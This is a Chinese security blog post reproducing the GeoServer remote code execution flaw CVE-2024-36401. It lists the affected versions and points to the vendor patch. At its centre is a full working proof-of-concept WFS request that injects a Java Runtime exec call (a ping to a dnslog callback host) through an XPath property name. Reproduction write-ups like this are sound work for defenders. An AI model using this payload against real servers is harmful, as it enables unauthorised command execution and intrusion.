GeoServer远程代码执行漏洞(CVE-2024-36401)

admin 2024年7月3日17:56:30评论6 views字数 990阅读3分18秒阅读模式
0x00写在前面

      本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

0x01漏洞介绍
GeoServer远程代码执行漏洞(CVE-2024-36401)

GeoServer是一个用 Java 编写的开源软件服务器。允许用户共享和编辑地理空间数据。

GeoServer 存在安全漏洞,该漏洞源于不安全地将属性名称解析为 XPath 表达式,可能导致远程代码执行。

0x02影响版本

GeoServer < 2.23.6

2.24.0 <= GeoServer < 2.24.4

2.25.0 <= GeoServer < 2.25.2

GeoServer远程代码执行漏洞(CVE-2024-36401)

0x03漏洞复现

1.访问漏洞环境

GeoServer远程代码执行漏洞(CVE-2024-36401)

2.对漏洞进行复现

POC 

漏洞复现

POST /geoserver/wfs HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 ldwkAccept: */*Accept-Language: en-US,en;q=0.5Content-Length: 329<wfs:GetPropertyValue service='WFS' version='2.0.0'xmlns:topp='http://www.openplans.org/topp'xmlns:fes='http://www.opengis.net/fes/2.0'xmlns:wfs='http://www.opengis.net/wfs/2.0'valueReference='exec(java.lang.Runtime.getRuntime(),"ping iwzubzbsuh.dgrh3.cn")'><wfs:Query typeNames='topp:states'/></wfs:GetPropertyValue>

GeoServer远程代码执行漏洞(CVE-2024-36401)

测试dnslog成功。

GeoServer远程代码执行漏洞(CVE-2024-36401)

3.Yakit工具加载nuclei文件测试(漏洞存在)

GeoServer远程代码执行漏洞(CVE-2024-36401)

GeoServer远程代码执行漏洞(CVE-2024-36401)
0x04修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://geoserver.org/https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月3日17:56:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GeoServer远程代码执行漏洞(CVE-2024-36401)https://cn-sec.com/archives/2913832.html

发表评论

匿名网友 填写信息